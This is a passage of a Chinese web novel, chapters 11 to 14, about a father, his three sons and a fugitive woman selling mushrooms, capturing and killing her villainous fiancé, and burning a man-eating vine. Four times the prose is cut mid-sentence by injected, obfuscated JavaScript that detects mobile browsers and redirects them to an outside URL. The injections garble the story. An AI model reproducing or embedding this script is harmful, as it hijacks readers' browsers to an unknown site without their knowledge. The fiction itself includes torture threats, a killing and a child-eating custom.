“对不起!”宋显深深鞠躬道歉。 大儿子心里能藏事儿,很有担当和责任感,从不爱抱怨。 宋显感受得到,大儿子现在虽然用很平静无波语气跟他阐述这些话,但他当初的所作所为一定深深伤害过他,令他很失望。 “没关系。”宋寒承语气温和,充满了包容,目光却很淡,“日子总要往前看,你想好,就跟我们一起过。” 若不想好—— 宋寒承眼底的杀意迸出,他不会再给他机会了。 “我当然想好好跟你们过啦。” 宋显最终还是换了一身麻布衣裳,因为他一会儿要去集市,不好太显眼。 他将他一早采好的十筐蘑菇搬了过来,简单挑拣了一番。 宋寒承挑眉:“采这么多?天不亮就上山了?” “嗯,我想赚钱买毛驴,还想要定制一把大锯子,方便砍树。” “那你野心有点大,这点蘑菇换不来那么多钱。” “我知道,一点点攒嘛。对了,你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189282|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咱们能不能赚点快钱?卖点白皮树花粉?就说咱们自己配置的药粉,看起来差不多,也没人能发现。” 宋显将古树林里两棵白皮树的花粉都搜集了起来,用树叶包成了很多小包,装了一筐。 “比蒙汗药好使,撒一下就有用,出门在外、行走江湖时的防身佳品,但就是怕被恶人买去了,干坏事。” 宋寒承提走篮子,改为装进布袋子里,“这个我来办,可保证买它的人不做害人的坏事。” 早饭宋显做了笋丝鸡肉疙瘩汤,大家都吃的很满足。白歌主动来收拾碗筷,她身份特殊,不便出门,就留在家里做针线活。 宋显本来打算带三儿子一起去集市,宋陆远突然举手表示他去不了。 “听说码头在招脚夫,我想去看看。我想多赚点钱补贴一下家里,也好让爹爹早日买上小毛驴!” “老二啊,你太懂事了,真是爹爹的贴心小棉袄!”宋显被感动得不行,“可你年纪还小,爹爹不想让你干这么重的活儿。” “要干的,穷人家孩子早当家,再说我这么大力气,扛那点货对我来说跟挠痒痒一样。”宋寒承说完就不容宋显拒绝,挥挥手就跑了。 陈昌贵在非农耕时节,每天都会赶牛车去集市,就为了挣车钱。一人付一文钱就可以坐他的牛车,货物按大小另算。 宋显一行三人加上货共花了五文钱。 牛车晃晃悠悠大概行驶半个多时辰,就到了八村交汇处,也就是每日有集市的地方。 这地方是交通要道,连接八个村子,是通往三座县城一座郡城的必经之路,每天往来路人很多,尤其在早上的时候,常有驱车骑马的官贵们路过。 集市很热闹,卖什么的都有,路边居然还有商铺,铁匠铺、布庄、米铺等等种类齐全。 宋显在集市的最末尾找到地方,摆上了十筐蘑菇,立刻就吸引了很多人的围观。 “呦,这不是越骆菇么,要在古树林里才能采到这么多吧?多少钱一斤?” 宋显:“按筐卖,一筐十文钱,三斤左右。” “有点贵,但东西确实难得,拿来送礼不错,给我来一筐。” “我也要一筐。” “我也要!” …… 大家争抢想买的时候,路中央突然传出一声厉斥。 “都让一让!” 喧嚣的集市突然就安静下来了,大家看到一群穿着制服制服的官差,都噤了声。 为首的官差身形高大,腰间挎着一把比别人大两倍的大刀。 他示意属下一眼,就有三名属下展开画像,呈现给众人看。 “这画像上的三个人你们谁见过?” 宋显的位置很不巧,离画像最近。 他刚好认识画像上的三个人,依次是:白歌、刘达和李信之。 宋显避开官差们的目光,低头假装看蘑菇。 在场的百姓们纷纷摇头表示没看过。 领头的官差似乎不甘心,一眼定格在低头装鹌鹑的宋显身上:“喂,你看过没有?” “喂,说你呢!”领头官差一脚踢翻了宋显跟前的一筐蘑菇。 宋显这才反应过来对方在说他,摇了摇头。 官差看清楚宋显的脸后,打量他的衣着,目光落在他左手虎口处的薄茧上。 他当即抽刀对准宋显:“你是什么人?” 宋显满脸无辜:“我就是一个普通百姓啊,有三个儿子,平常就靠冒险去古树林附近采摘蘑菇养家糊口。” “你撒谎,你是左撇子,虎口处的茧子分明是常年使刀所致!” 11. 第 11 章 “茧子?”宋显抬起左手,将他虎口处的茧子更清楚地展示给大家看,“是这个吗?” 他表情无辜,眼神无辜,模样坦荡,一点心虚的表现都没有。 领头的官差是长水县亭长成泽海,他搞侦查缉捕多年,向来看人很准,从无错漏。 但这次他有点自我怀疑了,难道他判断有误? “看刀!” 一阵劲风迎面袭来,一道白光从宋显眼前闪过。 “啊!杀人了啊!”人群中有不少人尖叫起来。 等劲风消散后,宋显看到周围人都惊慌恐惧地看向他,他才后知后觉反应过来,刚才好像有一把大刀照着他面门劈下来。 成泽海皱眉感慨:“真不会武。” 这迟钝劲儿绝不是武人该有的样子。 “那你手上的茧子?” 宋寒承刚在集上遇见朋友,才与朋友说两句话,就发现这边出事了,立刻赶了回来。 “干农活的人手上都有茧。”他帮宋显解释后,就淡定地走到宋显身边。 成泽海:“不,干农活和使刀剑所形成的茧子形状并不一样。而且他这双手白皙修长,不曾经过风吹日晒,显然不是常干农活的糙手。” “成亭长,”宋寒承将一双皮手套递给成泽海,“不妨看看这个呢。” 成泽海接过手套查看一番,发现这双手套很旧,有很多处修补。左手虎口处修补的皮子很硬,戴上干活儿的话,这个位置肯定会磨手,时间长了就会形成的茧子,形状恰巧好与武人之手的茧子类似。 见成泽海仍然保留几分怀疑,宋寒承示意他去看宋显。 宋显正闷头去捡地上的蘑菇,他捡得很快很着急,生怕围观的人群踩烂了他的宝贝蘑菇。 情急之下,人的下意识行为骗不了人。宋显捡蘑菇用的右手,这说明他平常是习惯使右手的人,而不是左手。 看来他左手虎口处的长茧子,确实是因为手套的问题。 成泽海彻底排除了宋显的嫌疑后,有些不好意思。他就出了两倍的价钱,买了宋显所有的蘑菇。 计划收入突然翻倍了,宋显挺高兴,拿到钱后脸上露出了笑容。 “这是你大儿子?”成泽海问宋显。 宋显骄傲地点点头。 “年纪轻轻就有这么大儿子,你倒挺抗老。我瞧你这儿子有几分处惊不变的本事,他可识字?” “识得几个字,也会算账。”宋寒承主动答道。 “不错,我们县衙正缺个账房,明日你来长水县找我。如果考校过了,就给你这个肥差做,如何?” 宋寒承作揖道谢。 成泽海哈哈笑,他就喜欢收揽这些青年才俊。 临走前,他又再问了一遍宋显父子三人,是否见过三幅画像上的人。 三人齐齐摇头。 成泽海爽朗地对宋寒承喊了声“明儿见”,就率属下们离开了。 宋寒承望着他的背影,嘴角淡淡勾起。 宋显瞧见宋寒承笑了,以为大儿子对成泽海印象很好,就配合说道:“虽说开始有误会,但误会解除后,感觉他这人还挺好的哈,还要给你介绍账房的活儿。” “嗯,他这人最喜欢搜集青年才俊。” 宋显附和:“比较惜才呗。” 史书上常记载这种情节,官员惜才,保举年轻后辈。 他大儿子这么优秀,受到青睐很正常。借着这次机会,说不定他将来会平步青云。他这个做父亲的,非常替他高兴。 “值得庆祝!我回去就找陈村长定做一个木楔子,用来榨油,给你做炸鸡吃。” 宋寒承刚到嘴边的话,咽了回去。 本来他还想继续说:这个成泽海表面看着君子,实则是个喜欢凌虐青年才俊的畜牲。他最喜欢鞭笞读书人,让他们匍匐在他的脚下,成为他的狗。 但为了尝尝这“炸鸡”的味道,宋寒承决定什么都不说了,等庆祝完了再说。 东西都卖完了,身上没有负重了,宋显决定带着俩孩子走回家。 从集市东边走出来后,不远处的路边站着一排男女。 他们都衣衫褴褛,身形消瘦,看起来没什么精气神儿。 在这些成年男女的面前,都放着一个大竹篮子,篮子里装着两岁到五岁不等的孩子。孩子们也很瘦,大部分都窝在筐里睡着。 宋显第一眼看到的时候,脑海里下意识的想法是:这些百姓们带孩子来赶集,孩子们睡着了,就留下一名家长看守孩子在集市旁休息。 但随后宋显就意识到不对了,竹篮是成排摆放的,与集市上那些摊贩摆摊方式一样。竹篮旁站着的成年男女大部分表情麻木,有几人抽着鼻子哭了,看起来很伤心。 这片区域距离集市只有一小段距离,显然是划分了界限,在经营另一种类型的交易。 “他们这是在卖孩子?”宋显突然反应过来,小声问俩儿子,“给富人家做奴仆?” 宋济民马上摇头:“不是哦。” 宋寒承蹙眉:“饿了,快回家吧。” “哦哦。”宋显马上从怀里掏出一包兔肉干递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189283|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给宋寒承,让他先解饿。 并不饿的宋寒承:“……” “那做什么?”宋显继续询问宋济民。 “爹爹果然什么都不记得了,连咱们永州郡‘蒸幼子食之,枯木逢春,延年益寿’的习俗都忘了。” 宋济民阐述事实的时候,无邪的声音里透着几分残忍。 “好多人相信吃幼子骨肉,能吸取到幼子身上年轻的力量。尤其到耋耄之年的富贵老人,每年都会买一个幼子来吃。 这幼子就是指五岁以下的孩童,婴儿也行,但婴儿太小,肉少,价钱会比较低。” “呕——”宋显没等宋济民说完,就转过身吐了。 宋寒承责备地看一眼宋济民,宋济民无奈地耸了耸肩。 人总要面对现实的残酷,才会珍惜眼前生活的来之不易。 回去的路上,宋显全程都没有说话。 晚饭他做了面条,强喝了两口汤后就吃不下了,回屋里躺着了。 宋陆远与逍遥侠约架获胜后,高兴兴地回家。发现宋显很不对劲儿后,他立刻就去跑去质问大哥和三弟怎么回事。 “阿爹就因为看到集市上卖孩子的,吓着了?” 宋济民点头,“他好像不曾亲眼见过大恶。” 宋寒承凝眸,“知乱世,却不曾见过乱世,他心思纯净得好像不是这世界的人。” 三兄弟一番·讨论后最终得出结论:宋显不是装的,跟从前比,他确实彻底变了一个人。 “要不找道士作法,给他驱驱邪呢?”宋济民试探提议。 宋陆远不同意:“我觉得他现在挺好的,别管他性子怎么变,人还是那人就行呗。我不喜欢之前那个性子的,见到就想弄死他!” 宋济民看向宋寒承:“大哥觉得呢?” “他邪,这世上就没有不邪的了。”宋寒承沉默了下,接着道,“以后保护好他。” 宋陆远和宋济民这对最爱吵嘴的兄弟,难得意见一致,同时点头。 “请问,有、人、吗?” 山谷里突然响起一道陌生的男声。 在浓浓夜色中,从山谷入口处走进来一个提灯笼的男人。 他穿着一身丝缎白衣,玉簪束发,手提的灯笼手柄上还镶嵌着黄金。 宋陆远立刻警觉起身,质问他:“你是谁?” 男人容长脸上堆满了笑意,“我姓萧,来找我的朋友,宋显。” 他停顿了一下,忽然又想起什么,补了一句。 “哦,对了,还有我的未婚妻,白歌。” 12.第 12 章 “你就是白歌的未婚夫?” 宋陆远听到这个称呼,立刻站起身,抄起菜板上沾着韭叶的菜刀。 他用力一甩,菜刀变长了,成了一把剑,玄色剑身,雪白的剑刃在火光下熠熠生辉,散发着刺眼的冷光。 “这是,玄铁?” 萧平一眼就认出了宋陆远手拿的是问阙剑,他不得不重新审视眼前高矮不一的三兄弟了。 “想不到江湖第一狂剑,竟然是个乳臭未干的毛小子。” 萧平转而把目光重点落在宋寒承身上。他有一种感觉,这名看起来很随和又温润的少年,才是他们三兄弟中最危险的人物。 “你呢?你是什么人?” 宋寒承正端着半碗没喝完的莓果干泡水,对萧平浅声道:“等你打赢了他,我就告诉你。” “好啊,我正想试试江湖第一狂剑的身手。”萧平从容地答应下来。 他夸张地举起右手的剑,对向宋陆远。与此同时,他的左手偷偷缩回了袖中。 瞬间,他的左掌心就多了五颗霹雳弹。 这是萧平近日刚做出的暗器,里面装满了五毒散。只要丢到对手附近,不论是否打中对方,霹雳弹都会炸开,让对方在喘息间中毒倒地,须臾间内力全失。 宋陆远很兴奋自己又遇到了对手,一个纵身跳跃,朝萧平冲去。 嗖—— 咚! 一具很有重量的身体轰然倒地。 “唔,出了什么事儿了吗?” 宋显听到嘈杂声,迷迷糊糊地睁眼。他挑起窗户上竹帘子,探出头来询问。 宋寒承和宋济民立刻扭头,对宋显微笑。 “没事,二哥学练武呢,吱哇乱叫的。”宋济民乖乖巧巧地问,“吵到爹了吗?我让二哥小点声。” “不用。”宋显打了个哈欠,眼角带着泪,十分精神不济。 “爹,”宋陆远急忙忙跑过来,站在窗边对宋显傻笑道歉,“怪我嗓门大了,我马上安静。” “没事,习武健身是好事儿,你就是喊一夜我都不会觉得吵。在这乱世,有保全自身的能耐太重要了。 敏而好学,不怕辛苦,老二有出息!” 宋显伸出手来,想摸摸宋陆远的头,发现够不到,刚要尴尬缩回手,一个毛茸茸的脑袋主动送到他掌心之下。 “爹,你放心,我一定会学好武艺,保护好你和兄长弟弟。” “爹不用你保护,爹要保护你们呢。别给自己身上加太多责任,会很累的。爹只希望你们能快快乐乐长大,平平安安一辈子。” 宋显说到这里,哑了嗓子,险些没控制住情绪。他笑了笑,嘱咐孩子们别玩太晚,他继续去睡觉了。 三兄弟都微笑点头答应,看着宋显放下竹帘后,一同转身,走向东面的山坡。 白歌被叫过来的时候,看见了躺在草丛中昏迷不醒的萧平,吓了一大跳。 “这狗东西怎么会在这?” “应该是在集市上看到了我们,有所怀疑,就跟踪我们回来的。”宋寒承没对白歌提及萧平认识宋显的情况。 “他真是你未婚夫?”宋陆远好奇问白歌。 白歌点了点头,二话不说就踩在萧平身上,狠狠扇他巴掌。 “看他衣着贵气,手还拿着金灯笼,好像不差卖你那三千文啊?不过他卖你这价是有点低了,毛驴还五千文呢,你都不如毛驴值钱。” 宋济民童言无忌,句句扎心。 “他就是在故意羞辱我!” 白歌恨死了,握紧拳头,照着萧平的脸就狠狠打,疯狂地打。一拳就把萧平的鼻梁骨打断了,汩汩流血。 “哎,轻着点,人还没审呢。”宋济民拦她。 “白歌也学练武呢?” 小木屋那边,宋显又从窗户探出头来,朝他们这边张望。 四人立刻排排站,挡住了萧平的身体,齐齐对宋显露出微笑。 “嗯啊,女孩子出门在外不安全,我觉得我也得学两招防身。” 白歌心虚地应答完宋显后,转过头来纳闷地询问三兄弟,为何要瞒着宋显。 宋寒承:“他今天刚受了刺激,不宜再见血腥。” “啊,那是应该瞒着他。宋叔是好人,没必要让这种脏东西污了他的眼。” 白歌说罢,又狠狠踹两脚萧平。 萧平醒来的时候,发现自己被绑在树干上,眼前是一张放大的白歌的脸。 “呦,你终于醒了!”白歌一巴掌狠狠打在萧平的脸上,“你说你为什么要给我下药?你为什么要那么对我?” 萧平剧烈地咳嗽起来,随即吐出一口血,他有点不敢相信自己居然被抓了。 “这不可能,我明明算计好了——” 萧平忽然想起来了,在他准备丢霹雳弹的前一刻,有什么东西打中他的眉心,然后他好像闻到了什么粉状的东西,脑袋就一片空白了,什么都不记得了。 萧平嗤笑,语气鄙夷地质问宋陆远:“真没想到,堂堂江湖第一狂剑居然使暗器,跟对手耍阴招!你这狂剑的名声,当真是个笑话!” “你少胡说八道,和人对决从不使阴招!”宋陆远很不爽自己被冤枉了,高声争辩。 “是我使的,用的这个打你。” 宋济民晃了晃右手的弹弓,又摊开了左手的掌心,亮出了五颗霹雳弹。 “我们若不先下手为强,你这五颗东西恐怕就打在我们兄弟身上了,对吧?” 萧平很惊诧自己的伎俩居然在一开始就被识破了,“你们、你们是怎么预料到的?” 宋寒承喝完了莓果干泡水,托着空陶碗走了过来。 “一个对未婚妻都使计下药的阴险小人,怎么可能会守本分地跟江湖第一狂剑比试呢。” 萧平恍然大悟:“所以我从一开始就中了你的计,你嘴上说让我跟你兄弟比武,实则你在声东击西,趁我不备对我下药?” 萧平再看向宋寒承的眼神里透露出恐惧,这个人太可怕了,明明第一次见他,竟将他算计到如此地步。 “暗毒老叟是你?”宋寒承问。 萧平眼中的恐惧之色更甚,“你怎么会知道我是暗毒老叟?” “嚯,他就是江湖上鼎鼎有名擅使暗器的坏种‘暗毒老叟’?”宋陆远搓着下巴端详萧平被打成猪头的脸,“他也不老啊?” “谁像你起名那么实在,是少年就叫狂剑少年。”宋济民又忍不住想骂二哥笨。 “我那是正人君子,坦坦荡荡。” “他竟是暗毒老叟?” 白歌顿时红了眼,上去就揪住萧平的衣领质问他。 “我爹是你下毒毒死的?为什么?你为什么要这么对我们?我们两家是世交啊。” “哼哈哈。” 萧平咧嘴笑,口水混着血水自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197180|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的嘴角流下。 “要不是你跟和你爹非要跟我结亲,我的婉儿就不会投湖自尽。你以为你长了一张倾国倾城的脸,天下男人就都要拜倒在你石榴裙下吗? 你就那么想要男人睡你吗?我就满足你,给你找你一堆……” “你无耻!” 白歌颤抖着手,狠狠打在萧平脸上。 “婚事是你爹跟我爹商议的,你若不愿意你可以直接说出来,我不过是小时候对你印象好点罢了,不是非你不嫁!分明是你,想贪图我白家的兵器谱!” “啧啧啧,这种男人就该千刀万剐了。”宋陆远举起他的“小菜刀”,碎韭叶仍然牢固地粘在刀刃上。 宋济民赶忙拦下,“别了,捅过他的刀用来切菜,我恶心。” 宋寒承打发走了白歌,才转过头来。对上萧平那张血腥不堪的猪头脸。他面色未改,眼中还带着温柔的笑意。 “说说吧,你与宋显如何相识的,是什么朋友?” 萧平感觉到不寒而栗,边自嘲的笑边流下来悔恨的泪水。 今天他独自一人出来散心,在集市上偶然看见宋显,觉得他表现很奇怪,就好奇地跟踪他来到山谷。本来想悄然观察了一番,没想到竟意外看到了失踪已久的白歌。 萧平有些激动,他以为三兄弟跟宋显关系好,会配合宋显的要求,将白歌交给他。所以他草率现身了,想尽快把白歌抓回去。 万万没想到,他竟因此要命丧在这了。 “你们不知道他的身份?”萧平笑得越来越大声,心里也越来越后悔,他今天就不应该多事跟过来。 说不定就因为他出现,毁了宋显正谋划的大计。 “问你话呢,说,他跟你是什么朋友?你们怎么相识的?” 宋陆远用一根木棍,轻轻捅了两下萧平的痛穴,就把萧平痛得嗷嗷大叫。 萧平流下的泪水带着血色,笑得疯狂又绝望:“既然我说不说都会死,那我为什么要说?” “你再嘴硬试试?”宋陆远又捅了几下。 “说了给你个痛快,不说的话——” 宋寒承摆弄起他手里的陶碗。 “我们会把你吊在这,一天切一个小小的伤口,只接一碗血,赌你能坚持几天,看你是先伤口溃烂而亡,还是先失血而亡。” 萧平打了个寒颤,无比畏惧地看着宋寒承,“我有一个要求,你们能满足我,我就说。我死后,你把我的尸身跟婉儿合葬。” “好,你说吧。”宋济民毫不犹豫,立刻答应。 “宋显与公子煜是挚交,我想巴结公子煜,才想讨好他,与他结交。但其实我对他的了解很浅,我不知道他来历。 你们要想知道他是谁,我建议你们去询问公子煜身边的人,应该会有线索。” 萧平说完后,补一句提醒:“我劝你们不要随便动他,公子煜并不好惹,他外祖母是皇太后,身后还有武林盟主为他保驾。” 宋寒承使了眼色给宋陆远。 宋陆远果断举起刚削尖的棍子,本来按照他以前的杀人习惯,在对方还没反应过来的时候,他就会以极快的速度将棍子插入萧平的眉心。 但现在他突然停顿了一下,而就在这一刻,面临死亡恐惧的萧平已经吓尿了裤子。 “我会好好送你见阎王哦!” 礼貌说完这句话之后,宋陆远才一棍子刺穿了萧平的眉心。 13.第 13 章 宋济民随即就撒了化尸粉在萧平的尸体上,骨肉腐化发出“滋滋”声,冒起了白烟。 宋陆远急忙伸手要拦:“不是答应了他,要将他的尸首与婉儿姑娘合葬吗?” “我是答应了他,可只是个小孩子呀,可以不守信用。” 宋济民拍了拍手,扭头就走。 宋陆远:“……” 确实,答应萧平的人不是君子,是小人,真小人,个头才到他胸口呢。 反正那萧也不是什么好东西,配得到一个死无葬身之、尸骨无存的下场。 三兄弟的身影很快消失于夜色中,萧平尸身渐渐化成了一滩血水。 哗啦啦—— 一条手腕粗的黑色爬藤从枯叶中探了出来,宛若游蛇地爬行,一点点覆盖住了血水。 …… 清晨,天刚蒙蒙亮。 宋显起床穿戴好,提上竹篮,惯例准备上山完成他今天的采山货的任务。 “吱呀”一声打开了门,宋显迈出了左脚,随即又收了回去。 宋济民迷迷糊糊地起床,眼睛都不愿意睁开,摸索着出门,一头撞在了站在门口处的宋显。 “呜啊,尿急尿急,爹爹快让一下!” 宋济民扒开宋显,就要往门外跑,被宋显一把揪住了衣领,扯了回来。 宋济民彻底清醒了,睁大了他睡意朦胧的眼。 “怎么了?” “情况不对。” 宋寒承走了过来,他在宋显身边站定,望着外面的山谷。 “嗯?”宋济民从俩人间的缝隙中探出脑袋,跟着往外看。 山谷的景色还是曾经的景色,山坡还是昨天的山坡,他甚至觉得山坡上绽放的野花比从前更艳丽好看了呢。 “哪里不对?” 宋济民一点没看出来,不行,他真尿急。 宋济民要从俩人中间挤出去,被宋寒承和宋显同时按住了脑袋,硬按了回去。 “干嘛啊?要尿裤子了!” 宋寒承:“平常山谷里都会有虫鸣鸟叫,但现在一片死寂。” 宋济民刚因尿急被激起来的脾气,瞬间被浇灭了。 “好像是啊,四周一片寂静……难道有猛兽在附近?” 宋济民赶紧去把宋陆远喊起来,要他去打野兽。 “来了!” 宋陆远照旧拿起沾着韭叶的菜刀,准备迎战。 “不是野兽,刀没用。” 宋显终于读完了地狱藤的价值说明,对三个儿子解释。 “是吃人的地狱藤,一旦活物出现在它涉猎的范围内,就会被它的藤蔓和触须纠缠吸血至死,骨肉无存。” “地狱藤?”宋陆远挠挠头,“从来没听过。” “古树林里你没见过的东西还少吗。” 宋济民真憋不住了,回身找了个陶罐子先解决问题。 白歌恰好打着哈欠从东屋出来,见到这一幕,“啊”的大叫一声,捂住着眼睛转过身去,刚好撞翻了桌上放粟米的陶罐。 一只灰蓬蓬的老鼠从摔倒的陶罐里窜了出来,一溜快跑地蹿出了东窗外。 哗啦啦,哗啦啦,哗啦啦…… 木屋周围有什么东西在动,发出轻微的声响。 “吱——” 那只蹿出窗外的老鼠,瞬间被许多密密麻麻的黄色细藤包裹住。须臾间,细藤散开,一根毛都没留下。 众人:“……” 目睹这一切的宋济民后脊冒了冷汗,对于自己方才差点出门撒尿的行为深感后怕。幸亏有阿爹及时拦住了他! 大家等哗啦声停下,彻底安静下来的时候,小心地探出头,去观察屋子周围的情况。 “东窗下,屋顶,都有。” 细细的一根爬藤,诡异的是它的颜色,居然跟他们木屋的颜色差不多,呈淡黄色,所以不细看看不出来。 “那边山坡上也有,手腕粗,但颜色跟周围的花草一样,是绿色的。” 大家观察总结后,沉默了。 “这东西这么邪门么,会变色?” “现在山谷里这么寂静,难道是这里所有的活物都被它吃了?” “我看那边的最粗,像是主干,好像来自古树林方向。” “难怪之前在古树林里看不到什么大型野兽的踪迹,该是这东西长在古树林里面,把活物都吃了。可是,咱们之前在古树林里也没看到过,怎么现在一夜之间满山谷都是了?” 面对这未知且残暴的新植物,大家都满腹疑问,想要知道答案的话就只能靠一个人。 宋寒承、宋陆远、宋济民和白歌都不约而同地齐齐都看向宋显。 “地狱藤靠活物的血肉滋养生长,捕猎越多,它爬行和生长的速度就越快。 而长时间不进食的话,它的枝干叶会发黄变干,进入假枯萎的休眠状态。 只有重见血肉之时,它才会苏醒。” 地狱藤的价值说明很长,宋显看了很久才看完。 它的每一个生长阶段都有其特殊的价值:假枯萎时,枝干磨成粉可以有效去腐生肌。旺盛期时,枝干刀枪不入,取来煮水,可杀百虫。 “地狱藤在古树林里猎食干净所有动物后,无食可吃,就会进入了假枯萎的休眠状态。枯枝败叶在古树林里根本不显眼,所以我们之前才没有发现。 昨晚,地狱藤应该是被什么大型动物的血肉滋养唤醒了,他开始对林子周围的活物进行大肆捕猎,然后快速成长进入了旺盛期,并扩大了捕猎范围,延伸到了我们现在的位置。 它的藤蔓有触须,能非常敏锐地感受到活物的活动,一旦我们贸然出去,就会跟那只老鼠一样的下场。” “那我们现在怎么办?总不能一直被困在屋里。”宋陆远焦急问,他也有点憋不住了,想撒尿。 “爹可知道对付它的办法?”宋寒承声音冷静,莫名安抚住了大家的焦躁。 宋显摇头,他只能看到生物的价值,并不知道捣毁它的办法。 一瞬间,屋里的其他人差点绝望。 宋陆远连连叹气:“我还以为古树林传说的那些禁忌、诅咒都是夸大其词呢,唉,其附近果然住不得。 不听老人言,地狱藤在眼前,可怎么办啊。” 宋显:“但我猜到一种可能,木的本质始终应该是怕火。” “哎呦,老爹,咱说话能不能不大喘气?火么,简单,试试便知!” 宋陆远问宋济民要了竹筒蜡,就要出去试一试。 “不行,这火太小了,很容易被扑灭。”宋显拉住了宋陆远,不准他去冒险。 宋显去找了些破布缠在竹棍上,拿杜仲籽油将其侵湿,然后点燃,做成了火把。 他举着火把便要出去试,被宋寒承和宋济民同时拦下了。 宋陆远就趁此机会,夺走火把,率先跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200870|165531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出去。 “爹爹,我尿急哦,让我先!” 宋陆远一出去,四周隐匿于草丛中的地狱藤都动了起来,朝他伸展藤条。 宋陆远用火把扫了一圈,伸展出来的地狱藤纷纷回缩。 “哈哈果然怕火!再弄几个火把,整些稻草柴火,我们烧了它!” 大家应声,各自忙活起来:做火把,铺稻草,架柴堆,点火…… 三个时辰后,经过大家不懈的努力,总算是把地狱藤逼退到了山谷外的区域。 宋显蹙眉:“只这样还不行,我们得找到它的根,彻底捣毁,以后才能安心在这住下来。不然等它食到活物血肉,它还会再卷土重来。到时我们未必有今天这样幸运,还能从睡梦中醒来。” 他不能让孩子们生活在随时可能有危险的环境中。 “捣毁就要进古树林,要准备足够火才行,不然行至半路,可能就成了地狱藤的藤中餐了。” 宋寒承想到了宋显最初做火把时用到的杜仲籽油,拿那东西浸泡过的衣服会燃烧的更久。 “我这就去找陈村长做木楔子,多榨出点油来。” 宋显马上配合宋寒承:“那我们留下来处理储存的杜仲籽,有四五十斤呢,榨出来的油应该足够用了。” 陈昌贵的木匠手艺很绝,见了宋寒承画的图纸后,只花费了半个时辰的工夫就做成了木楔子。 “今早村里来了官差,拿着白歌、刘达等人的画像,问我们见没见过。” 陈昌贵将木楔子交给了宋寒承,欲言又止后,最终还是忍不住说了。 “有必要吗?要是我,可不会把人留在,多危险啊。” 宋寒承拎着木楔子,冷淡问陈昌贵:“那你会留谁,留方大山?” 陈昌贵瞬间变了脸色,整个人哽住,噤若寒蝉。 宋寒承淡淡暼一眼陈昌贵后,转身走了。 天黑前,宋显成功榨出了十斤多的杜仲籽油。 大家趁着天还没有完全黑时,赶紧拎着油,拎着水,带上火把,进古树林里焚烧地狱藤的根。 地狱藤是真怕火,被火焰灼烧时缩成一团,完全没有之前旺盛期的嚣张劲儿。 大家顺利找到地狱藤的生长位置后,宋陆远就将半桶油倒在靠根的主干上,点了火。主干瞬间就如被点燃的稻草一样,快速焚烧起来,火势开始顺着藤蔓往外蔓延。 宋显忙喊:“快阻止向外火势,不然整座林子都会着火起来。” “好咧!”白歌去泼水。 宋陆远本能用柴刀去砍,没想到竟然砍断了。 “诶?不是刀枪不入吗?” 宋陆远砍了砍没被烧到的部分,依旧砍不断。 “啊,原来是被烧过的部分才一砍就断。哎呀这木头好啊,既可以做农具,也可以做木剑当武器!” “哇,真的好神奇!二哥你总算聪明一回!” 宋济民半开玩笑的“赞美”,果然惹恼了宋陆远。俩人又打闹起来,白歌在旁边凑热闹,添油加火。 宋显望着蹦蹦跳跳的孩子们,目光渐渐失焦。突然他回神儿,转头看向宋寒承。 “我想破除那个恶习。” “什么?”偶然听到这话的白歌完全没懂宋显的意思。 “好。” 宋寒承却知道宋显说的什么,他指的是永州地界已经流传了三十年之久的“蒸食幼子,延年益寿”的习俗。 14.第 14 章 天亮的时候,大家一起出力,处理了残留的地狱藤枝条。 地狱藤主干约半米粗,因为根本被火灼烧的缘故,它的主干向外延伸十几丈长的距离,都呈现假枯萎的状态。但是末端的藤条因为较远,没被波及,还处在旺盛期。 宋显等人用火灼加刀砍的方式,分割了狱藤的主干和细枝末条,全都修剪成同样的长度,休眠期的堆放在一起,旺盛期的另堆放在一处。两种各有各的作用,日后按需取用即可。 “这么多藤条,堆起来放像柴堆似的,我一会儿给它们搭个棚子。” “这些藤条刀枪不入,还怕淋雨不成?就那么放着也没事。” 地狱藤从剪裁到搬运,都是宋陆远出力最多。宋显心疼他辛苦,不想让他再干活了。 “那可不行,这可都是难得的宝贝,得好好存放。” 